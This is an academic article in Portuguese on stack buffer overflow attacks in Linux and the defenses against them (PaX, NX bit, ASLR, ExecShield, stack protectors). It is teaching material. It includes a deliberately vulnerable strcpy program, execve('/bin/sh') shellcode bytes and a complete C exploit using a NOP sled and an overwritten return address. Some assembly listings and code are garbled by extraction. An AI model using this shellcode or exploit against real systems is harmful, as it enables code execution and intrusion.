Buffer Overflow e Mecanismos de Defesa Alex Van Margraf Especialização em Redes e Segurança de Sistemas Pontifícia Universidade Católica do Paraná Curitiba, fevereiro de 2013 Resumo Este artigo é o resultado de um estudo realizado para compreender o funcionamento de um ataque que anos após sua descoberta desperta curiosidade e certa preocupação. O trabalho introduz o conceito por trás das vulnerabilidades deixadas por programas mal projetados que podem dar origem ao ataque de buffer overflow, mais especificamente os ataques em estruturas de pilha na chamada de função em ambiente linux. Ao abordar o assunto se fez necessário explicar os mecanismos de exploração (tais como exploits e shellcodes) e os mecanismos de defesa (alguns já implantados no kernel do Linux) que fazem com que a exploração de buffer overflow tenha um custo razoavelmente alto. 1 - Introdução O primeiro documento detalhado sobre a técnica de stackoverflow foi escrito pelo hacker Aleph One3 intitulado “Smashing The Stack For Fun And Profit” e publicado na revista eletrônica phrack edição 49 de 08/11/1996. Aleph One faz um estudo muito didático de como se conseguia um ataque de stack overflow. Com o passar do tempo esta documentação tem ficado obsoleta, pois diversos mecanismos de proteção foram criados. Para o entendimento desse mecanismo de ataque é necessário conhecimento em: assembly, organização de computadores e programação. Explanada de uma maneira superficial a técnica consiste em substituir na memória o endereço de retorno da função para apontar para outra posição na memória que contenha o código injetado, a substituição do endereço de retorno ocorre quando uma quantidade de dados maior que a capacidade declarada é adicionada em um buffer. Isso faz com que estruturas importantes do processo sejam sobrepostas, por exemplo, o endereço de retorno da função que ao ser sobrescrita com o endereço de outra posição da memória, poderá apontar para um código cuidadosamente elaborado e se aproveitando da execução do programa. 2 – Estruturas do Processo Um programa em execução é composto por um ou mais processos, esses processos são divididos na memória em cinco regiões: Texto, dados, bss, heap e pilha [2]. A área de texto permite somente leitura e armazena as instruções do programa. Qualquer tentativa de gravar informações na área de texto resulta em falha de segmentação. O segmento de dados e bss são utilizados para armazenar variáveis estáticas e globais. A região de heap é de tamanho variável e é usada quando são usadas funções alocadoras, por exemplo, a função malloc do C. A pilha possui tamanho variável, armazena variáveis locais da função, parâmetros da função e valores de retorno da função, possui a característica de crescer no sentido inverso da memória em direção à parte baixa. A Pilha é uma estrutura do tipo LIFO (o primeiro a entrar será o ultimo a sair). O registro SP é usado para manter o endereço do topo da pilha, que constantemente muda à medida que os itens são inseridos ou retirados [2]. Quando o programa principal chama uma função ocorre um desvio de processamento para a função, então o código da função estará sendo executado em outra posição da memória e ao terminar a sua execução a função deve retornar o controle para a próxima instrução, após aquela que lhe deu origem. 3 – Assembly Para manipular o comportamento do programa vulnerável é necessário o uso de ferramentas de debug e descompiladores como o GDB e objdump no Linux. Após descompilar um programa o resultado será um código em assembly. Operações assembly na sintaxe Intel seguem modelo: operação <destino>, <origem>, sendo que a origem ou o destino podem ser um registrador, um endereço de memória ou um valor. mov EAX, 0x01 mov EBX, 0x00 int 80h Códigos em assembly possuem muitas operações com registradores, alguns desses registradores são usados como acumuladores: eax (accumulator), ecx (counter), edx (data), ebx (base), outros registradores como: esp (stack pointer), ebp (base pointer), esi (source index), edi (destination index), eip (instrution pointer) responsável por apontar para a instrução que esta sendo executada. 4 - Processos em Memória Quando uma função é chamada, o sistema operacional cria uma região chamada pilha (stack), que irá armazenar as informações para a execução da função. Analisando o código abaixo extraído do artigo de Aleph One [3]: void funct_buf(int a, int b, int c){ char buffer1[5]; char buffer2[10]; } void main() { funct_buf(1,2,3); } Quando o ponteiro de instrução EIP apontar para a chamada da função funct_buf em main, os três parâmetros da função serão empurrados para a pilha em ordem reversa, seguido pelo endereço de retorno da função, que será responsável por indicar ao processo como retornar a execução no ponto onde foi desviado. 0x00000000000 Prolog pushl %ebp movl %esp,%ebp subl $n,%esp SP 0x00000000 000 Pilha Main() BP Retorno Parâmetro 3 Contexto da Função “funct_buf” Parâmetro 2 Parâmetro 1 Contexto da Função “Main” 0xFFFFFFFFFF Figura 1: processo antes do prolog Endereço de memória Parâmetro 1 BP SP Pilha cresce Parâmetro 2 Endereço de memória Parâmetro 3 Pilha cresce Retorno cresce SP 1 2 Main() 0xFFFFFFFFFF Figura 2: procedimento de prolog Na chamada da função é realizada primeiramente uma rotina chamada prolog, que prepara a pilha para receber as variáveis da função, conforme observado nas figuras 1 e 2. Inicialmente o BP está apontando para uma posição no contexto principal, em seguida o prolog copia o valor do SP (stack pointer) para o BP, e finalmente o SP é movido para obter espaço para variáveis internas, a figura 2 ilustra esse processo. Epilog é nome dado ao processo contrario onde o SP retorna a posição original. 5 – Descobrindo a Falha A maioria das vulnerabilidades de buffer overflow acontece devido a erros do programador, quando ele não verificava com antecedência os limites do buffer ao utilizá-lo. Nas primeiras versões o GCC também não verificava os limites dos espaços alocados ao se inserir um valor no buffer. Um exemplo de código vulnerável pode ser visto abaixo: #include <stdio.h> #include <string.h> int main( int argc, char **argv ) { char buf[5]; strcpy( buf, arg[1] ); return 0; } A função strcpy deixa o código acima vulnerável, pois ela não faz uma verificação no tamanho do buffer antes de copiar os valores para ele. Hoje o GCC alerta sobre este tipo de vulnerabilidade quando compila o código. Para fazer um teste pode ser desativada a proteção do GCC sobre a pilha (-fno-stackprotector). O comando abaixo demonstra isso: alvm@alvm-desktop:~$ gcc -fno-stack-protector -mpreferredstack-boundary=2 -O0 -g -o test teste.c O esperado seria que o programa apresentasse falha de segmentação quando inserido o sexto valor (lembrando que o buffer tem um tamanho de cinco), mas a falha ocorre quando se sobrescreve estruturas críticas do programa além do tamanho do buffer. alvm@alvm-desktop:~$ alvm@alvm-desktop:~$ alvm@alvm-desktop:~$./teste alvm@alvm-desktop:~$./teste alvm@alvm-desktop:~$./teste alvm@alvm-desktop:~$./teste alvm@alvm-desktop:~$./teste Falha de segmentação AAAAA AAAAAA AAAAAAA AAAAAAAA AAAAAAAAA Usando o GDB para o debug e o comando “r AAAAAAAAAAAA” para passar o parâmetro para o programa. alvm@alvm-desktop:~$ gdb -q teste Lendo símbolos de /home/alvm/teste...concluído. (gdb) r AAAAAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/alvm/teste AAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () Usando o comando “i r eip” para ver o valor no registrador eip. O resultado é o endereço de retorno substituído pelo 0x41 valor hexadecimal de “A”. (gdb) i r eip eip 0x414141 0x414141 6 – Shellcode / Payload É o código elaborado para ser injetado dentro do espaço de memória de um programa vulnerável, com o objetivo de obter o controle sobre o fluxo de execução do programa. Os shellcodes são códigos (object code) que o processador interpreta de forma nativa. Uma característica na elaboração dos shellcodes é a preocupação em eliminar os chamados “bad chars”, um exemplo de um bad char é o byte nulo (0x00), este caractere na maioria dos sistemas significa fim de texto, quando uma função está lendo uma entrada e encontra este caractere a leitura é encerrada. Os shellcodes interagem com o sistema operacional através de chamadas de sistema (syscalls). Em assembly para executar uma chamada de sistema é preciso seguir alguns passos: 1 - O registrador EAX deve receber o valor da syscall. 2 - Os demais registradores (EBX, ECX, EDX, ESI, EDI, EPB) ficam a disposição para receber os parâmetros da syscall. 3 - Executar a instrução int 0x80 (modo kernel); Para exemplificar a montagem de um shellcode temos um código em C logo abaixo: #include <stdio.h> void main() { char *nome[2]; nome[0] = "/bin/sh"; nome[1] = NULL; execve(nome[0], nome, NULL); } Para elaborar um shellcode do programa acima temos que usar a função disassemble do GDB. $ gcc -o shellcode -ggdb -static shellcode.c $ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 1 <main>: pushl %ebp 2 <main+1>: movl %esp,%ebp #Prelude 3 <main+3>: subl $0x8,%esp 4 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) #nome[0] = "/bin/sh"; 5 <main+13>: movl $0x0,0xfffffffc(%ebp) #nome[1] = NULL; 6 <main+20>: pushl $0x0 #inserindo parametro na pilha em ordem inversa (NULL) 7 <main+22>: leal 0xfffffff8(%ebp),%eax #carrega nome[] para eax 8 <main+25>: pushl %eax #coloca endereço de nome na pilha 9 <main+26>: movl 0xfffffff8(%ebp),%eax #coloca endereço de nome[0] em eax 10 <main+29>: pushl %eax #coloca eax na pilha 11 <main+30>: call 0x80002bc <__execve> #chama execve() 12 <main+35>: addl $0xc,%esp 13 <main+38>: movl %ebp,%esp 14 <main+40>: popl %ebp 15 <main+41>: ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 16 <__execve>: pushl %ebp 17 <__execve+1>: movl %esp,%ebp #Prelude 18 <__execve+3>: pushl %ebx 19 <__execve+4>: movl $0xb,%eax # copia syscall 11 em hexa(0xb) para pilha 20 <__execve+9>: movl 0x8(%ebp),%ebx # copia “/bin/sh” em EBX 21 <__execve+12>: movl 0xc(%ebp),%ecx #copia endereço nome[]em ECX 22 <__execve+15>: movl 0x10(%ebp),%edx #copia endereço null pointer em EDX 23 <__execve+18>: int $0x80 #executa instrução 24 <__execve+20>: movl %eax,%edx 25 <__execve+22>: testl 26 <__execve+24>: jnl 27 <__execve+26>: negl 28 <__execve+28>: pushl 29 <__execve+29>: call <__normal_errno_location> 30 <__execve+34>: popl 31 <__execve+35>: movl 32 <__execve+37>: 33 <__execve+42>: 34 <__execve+43>: 35 <__execve+45>: 36 <__execve+46>: 37 <__execve+47>: End of assembler dump. movl popl movl popl ret nop %edx,%edx 0x80002e6 <__execve+42> %edx %edx 0x8001a34 %edx %edx,(%eax) $0xffffffff,%eax %ebx %ebp,%esp %ebp Olhando para as instruções é possível enumerar os passos a serem seguidos: a) Ter uma string “/bin/sh” na memória. b) Ter o endereço da string “/bin/sh”. c) Copiar execve - syscall 11 que em hexa fica 0xB no registrador EAX. d) Copiar o endereço da string “/bin/sh” no registrador EBX. e) Copiar o endereço da string “/bin/sh” no registrador ECX. f) Copiar o endereço de NULL para o registrador EDX. g) Executar a instrução int $0x80. É preciso finalizar a execução de maneira confiável, sendo necessário usar a syscall exit da seguinte forma: h) Copiar 0x1 no registrador EAX (syscall 1 que em hexadecimal fica 0x1). i) Copiar 0x0 no registrador EBX (insere zero como parâmetro da syscall exit, para sinalizar sucesso). j) Executar a instrução int $0x80. Não se sabe onde na memória o shellcode estará alocado. Uma maneira de contornar isso é usar JMP. A instrução JMP permite saltar para um label que contenha uma chamada CALL, a chamada CALL irá colocar a próxima instrução na pilha como se fosse o endereço de retorno da chamada, mas o que ele acaba colocando na pilha é uma string. Um template básico pode ser visto abaixo: jmp two one: pop ebx [application code] two: call one db 'string' Uma versão modificada do shellcode em assemble ficaria assim: jmp two one: popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal null-offset(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 two: call one db '/bin/sh' Após montar o shellcode em assembly é preciso transformá-lo em object code, que são caracteres diretamente interpretados pelo processador. Depois de compilar o programa .asm e “linkedita-lo”, será extraído os object codes com o utilitário objdump. $ nasm -f elf shellcode.asm $ ld –o shellcode shellcode.o $ objdump –d shellcode Após a eliminação dos bad chars e a concatenação dos object codes em uma string o resultado será um código parecido com o abaixo: "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x 0b\x89\" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#"; 7 - Explorando a Falha O objetivo ao explorar um buffer é fazer com que o processador execute instruções injetadas no programa em execução. Tomando como exemplo o programa abaixo para elaborar um exploit: // overflow.c #include <stdio.h> void mostra_string(char *s) { char buffer[64]; strcpy(buffer, s); //função vulneravel printf("String: %s\n", buffer); } int main(int argc, char *argv[]) { mostra_string(argv[1]); return 0; } Executando o código acima e forçando a falha: ./overflow `perl -e 'print "A" x 2000'` Descobrindo o endereço de retorno: gdb ./overflow core GNU gdb 2002-04-01-cvs Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux". Core was generated by `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaa'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) info register esp esp 0xbffff334 0xbffff334 O programa acima não verifica o tamanho da string que esta sendo copiada para o buffer na função “strcpy. Um exploit de buffer overflow forçará o estouro do buffer, injetando uma cadeia de caracteres previamente elaborada chamada shellcode ou payload. Um exemplo de exploit para o programa overflow.c pode ser visto abaixo: //exploit #include <stdlib.h> static char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89 \" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#"; #define NOP 0x90 //instrução de maquina para um valor sem operação #define LEN 1024+8 #define RET 0xbffff334 int main() { char buffer[LEN]; int i; /* preenche o buffer com NOPs */ for (i=0;i<LEN;i++) buffer[i] = NOP; /* copia o shellcode para a posição inicial do buffer */ memcpy(&buffer[LEN-strlen(shellcode)-4],shellcode, strlen(shellcode)); /* copia para os 4 ultimos bytes o endereço de retorno */ *(int*)(&buffer[LEN-4]) = RET; /* executa o programa vulneravel e passa como parametro o buffer com o shellcode */ execlp("./overflow","./overflow",buffer,NULL); return 0; } O programa acima declara uma variável shellcode que possui os bytecodes feitos a partir de código assembly para retornar um terminal shell. O programa declara um buffer de 1024 mais 8 bytes que representa o EBP e o endereço de retorno, sendo o buffer maior que o shellcode ele preenche o buffer com NOP’s. NOP ao ser interpretado pelo processador é o mesmo que dizer para ele não fazer nada. O endereço de retorno é adicionado no final do buffer e em seguida será executado o programa overflow através da função C execlp, que além do nome do programa que será executado, também recebe o shellcode. O resultado será a execução do shellcode dentro do escopo de execução do programa vulnerável. 8 – Mecanismos de Defesa PaX (Page-Exec) foi um projeto com objetivo de criar mecanismos para dificultar ao máximo as explorações que atacam endereços de memória vulneráveis. O PaX não se prende unicamente em impedir ataques de buffer overflow, mas contribui para que isso se torne uma tarefa mais difícil. Existem outros mecanismos de defesa que tratam exclusivamente de buffer overflow, como StackGuard e o Stack-Smaching Protector ( ProPolice SSP), ambos são melhorias de segurança para o compilador GCC. O StackGuard esteve presente até a versão 3.x do GCC e a partir da versão 4.1 o GCC passou a adotar o ProPolice. O Pax procura impedir alguns tipos de ataques entre eles: - Os que tentam executar código arbitrário, por exemplo, os shellcodes. - Os que tentam executar código fora da ordem pré-estabelecida, normalmente isso feito por ataque de retorno da função libc ou retlibc. O Pax fornece proteção contra execução em espaço de endereçamento não executável usando a funcionalidade do Bit NX. O objetivo do Bit NX é impedir que códigos sejam executados em áreas de memória não executável. Este recurso pode estar disponível por hardware nos processadores modernos. O termo Bit NX foi criado pela fabricante de processadores AMD e nos processadores intel foi chamado de bit XD, as duas funcionam da mesma maneira. Vários sistemas operacionais suportam o bit NX entre eles: Windows XP Service Pack 2 em diante, Linux a partir da versão 2.6.8 do kernel, e Mac OS X. A tecnologia bit NX usa o bit mais significativo da paginação da memória como flag, se o bit for zero, o código pode ser executado, se for um, o código não será executado naquela página. Bit NX é uma tecnologia disponível para processadores com núcleo de 64 bits. Em processadores que não suportam o Bit NX, por exemplo, as CPUs 32bits x86, neste mecanismo pode ser emulado pelo sistema operacional, mas tal técnica pode gerar um overhead quando comparado ao bit NX nativo no hardware. O Pax especifica dois métodos de emulação: o SEGMEXEC e PAGEXEC, ambos são mecanismos que protegem áreas de memória não executável. Outra técnica de proteção muito importante, chamada Address Space Layout Randomization (ASLR), criada pelo PaX em 2000, sendo que este projeto originou um patch para o kernel do Linux que faz com que os segmentos de um processo sejam alocados de forma aleatória na memória. Sem o ASLR os segmentos eram mapeados nos mesmo endereços a cada execução. Mesmo com o ASLR ainda é possível explorar algumas brechas, o que o ASLR faz é aumentar significativamente o custo de uma exploração. Existem técnicas de ataque que exploraram segmentos de memória que o ASLR não protege, por exemplo, segmentos de dados, código e BBS. A técnica mais empregada na tentativa de passar pela proteção do ASLR é a de força bruta. Um projeto similar ao PaX chamado ExecShield foi desenvolvido pela Red Hat, este projeto deu origem a um patch, para emular a funcionalidade do bit nx. Uma das coisas que o ExecShield fazia era sinalizar a memória quanto a posições onde os dados não deveriam ser executados, tentando eliminar assim vulnerabilidades como estouro de buffer e shellcodes. O ExecShield fornecia algumas funcionalidades de ASLR para a chamada de sistema mmap(), responsável por alocar espaço de memória virtual para os processos em ambiente POSIX. O ExecShield contribuiu para a proteção do kernel com a randomização de espaços de endereçamento de memória e para o desenvolvimento do GCC stack-protector. O Grsecurity é outro grupo que fornece um path que incorpora as funcionalidades do PaX e alguns recursos adicionais, por exemplo, três níveis de segurança configuráveis: baixo, médio e alto. Dentro destes níveis de segurança é possível configurar algumas opções como: auditoria do kernel, proteção em nível de file system, controle baseado na função (RBAC), opções de proteção em nível de rede e as proteções do projeto PaX. 9 – Conclusão Após dezessete anos do artigo de Aleph One, muita coisa mudou a respeito de segurança contra buffer overflow. Se formos seguir a documentação original, nas atuais distribuições Linux, não será possível repetir os resultados sem antes desabilitar alguns mecanismos de proteção, os quais na sua maioria foram expostos neste trabalho. Mesmo com os recursos de segurança existentes, novas técnicas de subversão acabam surgindo, nos fazendo lembrar de que não existe segurança garantida cem por cento. 10 – Referências [1] KURTZ, George; MCCLURE, Stuart; SCAMBRAY, Joel. Hackers Expostos. 4ª Ed. Rio de Janeiro: Campus, 2003. [2] ERICKSON, Jon. Hacking. 1ª Ed. São Paulo: Digerati Books, 2009. [3] PHRACK MAGAZINE. Ed. 49. Disponível em: http://www.phrack.org/issues.html?issue=49&id=14#article. Acesso em: 02 de Nov. 2012. [4] MIKHALENKO, Peter. How Shellcode Work. Disponível em: http://linuxdevcenter.com/pub/a/linux/2006/05/18/how-shellcodes-work.html?page=1. Acesso em: 28 de Out. 2012. [5] OLIVEIRA, Leandro. Hello World em Shellcode. Disponível em: http://blog.tempest.com.br/leandro-oliveira/hello-world-shellcode.html. Acesso em: 28 de Out. 2012. [6] MAKOWSKI, Paulo. Smashing the Stack in 2011. Disponível em: http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/. Acesso em: 06 de Ago. 2012. [7] HEFFNER, Craig J. Smashing The Modern Stack For Fun And Profit. Disponível em: http://www.ethicalhacker.net/content/view/122/2/. Acesso em: 15 de Ago. 2012. [5] DOCUMENTATION FOR THE PAX PROJECT. Disponível em: http://pax.grsecurity.net/docs/index.html. Acesso em: 10 de Jan. 2013.